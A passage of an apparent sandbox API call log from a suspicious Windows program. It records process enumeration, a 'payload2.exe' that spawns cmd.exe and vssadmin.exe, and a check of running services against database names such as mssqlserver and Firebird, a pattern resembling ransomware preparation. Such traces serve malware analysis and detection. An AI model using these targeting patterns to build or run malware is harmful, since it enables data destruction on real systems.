th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.365] lstrlenW (lpString="svchost.exe") returned 11 [0052.365] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0052.366] lstrlenW (lpString="audiodg.exe") returned 11 [0052.366] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.367] lstrlenW (lpString="svchost.exe") returned 11 [0052.367] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.367] lstrlenW (lpString="svchost.exe") returned 11 [0052.367] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0052.368] lstrlenW (lpString="dwm.exe") returned 7 [0052.368] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0052.369] lstrlenW (lpString="explorer.exe") returned 12 [0052.369] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0052.369] lstrlenW (lpString="spoolsv.exe") returned 11 [0052.369] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0052.370] lstrlenW (lpString="taskhost.exe") returned 12 [0052.370] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.371] lstrlenW (lpString="svchost.exe") returned 11 [0052.371] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0052.371] lstrlenW (lpString="taskeng.exe") returned 11 [0052.371] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0052.372] lstrlenW (lpString="taskhost.exe") returned 12 [0052.372] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0052.373] lstrlenW (lpString="presidential.exe") returned 16 [0052.373] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0052.374] lstrlenW (lpString="ol-filing.exe") returned 13 [0052.374] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0052.456] lstrlenW (lpString="overcome.exe") returned 12 [0052.456] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0052.474] lstrlenW (lpString="declinedreferral.exe") returned 20 [0052.474] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0052.474] lstrlenW (lpString="franciscotrack.exe") returned 18 [0052.474] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0052.475] lstrlenW (lpString="nicholas.exe") returned 12 [0052.475] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0052.476] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0052.476] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0052.476] lstrlenW (lpString="word.exe") returned 8 [0052.476] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0052.477] lstrlenW (lpString="semestermeta.exe") returned 16 [0052.477] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0052.478] lstrlenW (lpString="reflects.exe") returned 12 [0052.478] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0052.478] lstrlenW (lpString="beveragesradios.exe") returned 19 [0052.478] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0052.479] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0052.479] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0052.480] lstrlenW (lpString="ground.exe") returned 10 [0052.480] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0052.481] lstrlenW (lpString="least.exe") returned 9 [0052.481] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0052.481] lstrlenW (lpString="meetings.exe") returned 12 [0052.481] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0052.482] lstrlenW (lpString="wooltestimony.exe") returned 17 [0052.482] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0052.483] lstrlenW (lpString="inexpensive.exe") returned 15 [0052.483] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0052.483] lstrlenW (lpString="er-amd.exe") returned 10 [0052.483] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0052.484] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0052.484] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0052.485] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0052.485] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0052.486] lstrlenW (lpString="mobsync.exe") returned 11 [0052.486] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0052.486] lstrlenW (lpString="payload2.exe") returned 12 [0052.486] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0052.487] lstrlenW (lpString="cmd.exe") returned 7 [0052.487] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0052.488] lstrlenW (lpString="conhost.exe") returned 11 [0052.488] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0052.488] lstrlenW (lpString="vssadmin.exe") returned 12 [0052.488] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0052.489] lstrlenW (lpString="VSSVC.exe") returned 9 [0052.489] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.490] lstrlenW (lpString="svchost.exe") returned 11 [0052.490] Process32NextW (in: hSnapshot=0x218, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0052.491] CloseHandle (hObject=0x218) returned 1 [0052.491] Sleep (dwMilliseconds=0x1f4) [0053.266] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f8c4e0 [0053.295] EnumServicesStatusExW (in: hSCManager=0x3f8c4e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0053.317] GetLastError () returned 0xea [0053.319] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12c6) returned 0x26e060 [0053.326] EnumServicesStatusExW (in: hSCManager=0x3f8c4e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x26e060, cbBufSize=0x12c6, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x26e060, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0053.346] CloseServiceHandle (hSCObject=0x3f8c4e0) returned 1 [0053.351] lstrlenW (lpString="Appinfo") returned 7 [0053.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0053.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0053.366] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0053.367] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0053.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0053.370] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0053.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.374] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0053.377] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0053.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0053.384] lstrlenW (lpString="AudioSrv") returned 8 [0053.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0053.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0053.389] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0053.391] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0053.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0053.394] lstrlenW (lpString="BFE") returned 3 [0053.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0053.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0053.402] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0053.403] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0053.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0053.407] lstrlenW (lpString="CryptSvc") returned 8 [0053.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0053.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0053.412] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0053.415] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0053.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0053.417] lstrlenW (lpString="CscService") returned 10 [0053.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0053.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0053.421] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0053.423] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0053.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0053.424] lstrlenW (lpString="DcomLaunch") returned 10 [0053.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.427] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0053.431] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0053.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0053.432] lstrlenW (lpString="Dhcp") returned 4 [0053.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0053.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0053.435] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0053.437] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0053.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0053.438] lstrlenW (lpString="Dnscache") returned 8 [0053.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0053.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0053.442] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0053.444] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0053.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0053.450] lstrlenW (lpString="DPS") returned 3 [0053.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0053.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0053.473] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0053.473] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0053.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0053.473] lstrlenW (lpString="eventlog") returned 8 [0053.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0053.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0053.473] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0053.473] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0053.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0053.473] lstrlenW (lpString="EventSystem") returned 11 [0053.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0053.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0053.473] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0053.473] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0053.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0053.473] lstrlenW (lpString="gpsvc") returned 5 [0053.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0053.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0053.474] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0053.474] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0053.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0053.474] lstrlenW (lpString="iphlpsvc") returned 8 [0053.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.474] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0053.474] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0053.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0053.474] lstrlenW (lpString="LanmanServer") returned 12 [0053.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0053.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0053.474] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0053.474] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0053.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0053.474] lstrlenW (lpString="LanmanWorkstation") returned 17 [0053.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.474] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0053.474] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0053.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0053.474] lstrlenW (lpString="lmhosts") returned 7 [0053.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0053.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0053.474] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0053.474] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0053.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0053.474] lstrlenW (lpString="MMCSS") returned 5 [0053.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0053.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0053.475] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0053.475] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0053.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0053.475] lstrlenW (lpString="MpsSvc") returned 6 [0053.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0053.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0053.475] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0053.475] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0053.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0053.475] lstrlenW (lpString="Netman") returned 6 [0053.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0053.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0053.475] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0053.475] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0053.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0053.475] lstrlenW (lpString="netprofm") returned 8 [0053.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0053.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0053.475] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0053.475] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0053.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0053.475] lstrlenW (lpString="NlaSvc") returned 6 [0053.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0053.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0053.475] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0053.475] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0053.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0053.475] lstrlenW (lpString="nsi") returned 3 [0053.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0053.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0053.475] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0053.475] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0053.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0053.476] lstrlenW (lpString="PcaSvc") returned 6 [0053.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0053.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 